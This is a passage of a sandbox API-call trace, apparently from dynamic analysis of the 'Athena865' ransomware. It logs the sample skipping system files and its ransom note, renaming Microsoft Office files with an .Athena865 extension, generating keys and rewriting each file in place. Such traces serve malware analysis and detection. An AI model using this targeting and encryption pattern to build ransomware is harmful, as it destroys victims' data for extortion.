lstrcmpiW (lpString1="VRD", lpString2="btr") returned 1 [0140.787] lstrlenW (lpString="cat") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="cat") returned 1 [0140.787] lstrlenW (lpString="cdb") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="cdb") returned 1 [0140.787] lstrlenW (lpString="ckp") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="ckp") returned 1 [0140.787] lstrlenW (lpString="cma") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="cma") returned 1 [0140.787] lstrlenW (lpString="cpd") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="cpd") returned 1 [0140.787] lstrlenW (lpString="dacpac") returned 6 [0140.787] lstrcmpiW (lpString1="CH.VRD", lpString2="dacpac") returned -1 [0140.787] lstrlenW (lpString="dad") returned 3 [0140.787] lstrcmpiW (lpString1="VRD", lpString2="dad") returned 1 [0140.787] lstrlenW (lpString="dadiagrams") returned 10 [0140.787] lstrlenW (lpString="daschema") returned 8 [0140.787] lstrcmpiW (lpString1="LOCH.VRD", lpString2="daschema") returned 1 [0140.787] lstrlenW (lpString="db-journal") returned 10 [0140.787] lstrlenW (lpString="db-shm") returned 6 [0140.787] lstrcmpiW (lpString1="CH.VRD", lpString2="db-shm") returned -1 [0140.787] lstrlenW (lpString="db-wal") returned 6 [0140.787] lstrcmpiW (lpString1="CH.VRD", lpString2="db-wal") returned -1 [0140.788] lstrlenW (lpString="dbc") returned 3 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="dbc") returned 1 [0140.788] lstrlenW (lpString="dbs") returned 3 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="dbs") returned 1 [0140.788] lstrlenW (lpString="dbt") returned 3 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="dbt") returned 1 [0140.788] lstrlenW (lpString="dbv") returned 3 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="dbv") returned 1 [0140.788] lstrlenW (lpString="dbx") returned 3 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="dbx") returned 1 [0140.788] lstrlenW (lpString="dcb") returned 3 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="dcb") returned 1 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="dct") returned 1 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="dcx") returned 1 [0140.788] lstrcmpiW (lpString1="VRD", lpString2="ddl") returned 1 [0140.788] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.Athena865") returned 67 [0140.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.athena865"), dwFlags=0x1) returned 1 [0140.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.791] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2028) returned 1 [0140.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.791] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.792] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.792] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.792] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaf0, lpName=0x0) returned 0x154 [0140.793] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaf0) returned 0x100000 [0140.794] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.795] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.795] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.796] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.796] CloseHandle (hObject=0x154) returned 1 [0140.796] CloseHandle (hObject=0x17c) returned 1 [0140.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.796] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2=".") returned 1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="..") returned 1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="windows") returned -1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="bootmgr") returned 1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="temp") returned -1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="pagefile.sys") returned -1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="boot") returned 1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="ids.txt") returned -1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="ntuser.dat") returned -1 [0140.796] lstrcmpiW (lpString1="FOREST.CSS", lpString2="perflogs") returned -1 [0140.797] lstrcmpiW (lpString1="FOREST.CSS", lpString2="MSBuild") returned -1 [0140.797] lstrlenW (lpString="FOREST.CSS") returned 10 [0140.797] lstrcpyW (in: lpString1=0x241e8a8, lpString2="FOREST.CSS" | out: lpString1="FOREST.CSS") returned="FOREST.CSS" [0140.797] lstrlenW (lpString="FOREST.CSS") returned 10 [0140.797] lstrlenW (lpString="Athena865") returned 9 [0140.797] lstrcmpiW (lpString1="OREST.CSS", lpString2="Athena865") returned 1 [0140.797] lstrlenW (lpString=".dll") returned 4 [0140.797] lstrcmpiW (lpString1="FOREST.CSS", lpString2=".dll") returned 1 [0140.797] lstrlenW (lpString=".lnk") returned 4 [0140.797] lstrcmpiW (lpString1="FOREST.CSS", lpString2=".lnk") returned 1 [0140.797] lstrlenW (lpString=".ini") returned 4 [0140.797] lstrcmpiW (lpString1="FOREST.CSS", lpString2=".ini") returned 1 [0140.797] lstrlenW (lpString=".sys") returned 4 [0140.797] lstrcmpiW (lpString1="FOREST.CSS", lpString2=".sys") returned 1 [0140.797] lstrlenW (lpString="FOREST.CSS") returned 10 [0140.797] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS.Athena865") returned 68 [0140.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css.athena865"), dwFlags=0x1) returned 1 [0140.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.799] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0140.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.800] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.800] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.801] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0140.802] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0140.803] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.803] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.803] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.804] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.804] CloseHandle (hObject=0x154) returned 1 [0140.804] CloseHandle (hObject=0x17c) returned 1 [0140.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.805] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2=".") returned 1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="..") returned 1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="windows") returned -1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="bootmgr") returned 1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="temp") returned -1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="pagefile.sys") returned -1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="boot") returned 1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="ids.txt") returned -1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="ntuser.dat") returned -1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="perflogs") returned -1 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2="MSBuild") returned -1 [0140.805] lstrlenW (lpString="GANTT.CSS") returned 9 [0140.805] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GANTT.CSS" | out: lpString1="GANTT.CSS") returned="GANTT.CSS" [0140.805] lstrlenW (lpString="GANTT.CSS") returned 9 [0140.805] lstrlenW (lpString="Athena865") returned 9 [0140.805] lstrlenW (lpString=".dll") returned 4 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2=".dll") returned 1 [0140.805] lstrlenW (lpString=".lnk") returned 4 [0140.805] lstrcmpiW (lpString1="GANTT.CSS", lpString2=".lnk") returned 1 [0140.806] lstrlenW (lpString=".ini") returned 4 [0140.806] lstrcmpiW (lpString1="GANTT.CSS", lpString2=".ini") returned 1 [0140.806] lstrlenW (lpString=".sys") returned 4 [0140.806] lstrcmpiW (lpString1="GANTT.CSS", lpString2=".sys") returned 1 [0140.806] lstrlenW (lpString="GANTT.CSS") returned 9 [0140.806] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS.Athena865") returned 67 [0140.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css.athena865"), dwFlags=0x1) returned 1 [0140.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.808] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0140.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.808] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.809] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.809] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.809] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0140.811] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0140.812] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.812] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.812] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.813] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.813] CloseHandle (hObject=0x154) returned 1 [0140.813] CloseHandle (hObject=0x17c) returned 1 [0140.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.813] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbba2a00, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbba2a00, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2=".") returned 1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="..") returned 1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="windows") returned -1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="bootmgr") returned 1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="temp") returned -1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="pagefile.sys") returned -1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="boot") returned 1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="ids.txt") returned -1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="ntuser.dat") returned -1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="perflogs") returned -1 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2="MSBuild") returned -1 [0140.814] lstrlenW (lpString="GANTT.VRD") returned 9 [0140.814] lstrcpyW (in: lpString1=0x241e8a8, lpString2="GANTT.VRD" | out: lpString1="GANTT.VRD") returned="GANTT.VRD" [0140.814] lstrlenW (lpString="GANTT.VRD") returned 9 [0140.814] lstrlenW (lpString="Athena865") returned 9 [0140.814] lstrlenW (lpString=".dll") returned 4 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2=".dll") returned 1 [0140.814] lstrlenW (lpString=".lnk") returned 4 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2=".lnk") returned 1 [0140.814] lstrlenW (lpString=".ini") returned 4 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2=".ini") returned 1 [0140.814] lstrlenW (lpString=".sys") returned 4 [0140.814] lstrcmpiW (lpString1="GANTT.VRD", lpString2=".sys") returned 1 [0140.814] lstrlenW (lpString="GANTT.VRD") returned 9 [0140.814] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.Athena865") returned 67 [0140.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.athena865"), dwFlags=0x1) returned 1 [0140.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.816] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2043) returned 1 [0140.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0140.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0140.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54edd0 [0140.817] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.817] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.817] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.818] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x154 [0140.819] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0140.820] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.820] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.820] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0140.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0140.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0140.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0140.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0140.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.821] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.821] CloseHandle (hObject=0x154) returned 1 [0140.821] CloseHandle (hObject=0x17c) returned 1 [0140.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.822] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4e570, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", lpString2=".") returned 1 [0140.822] lstrcmpiW (lpString1="GANTT.VSL", 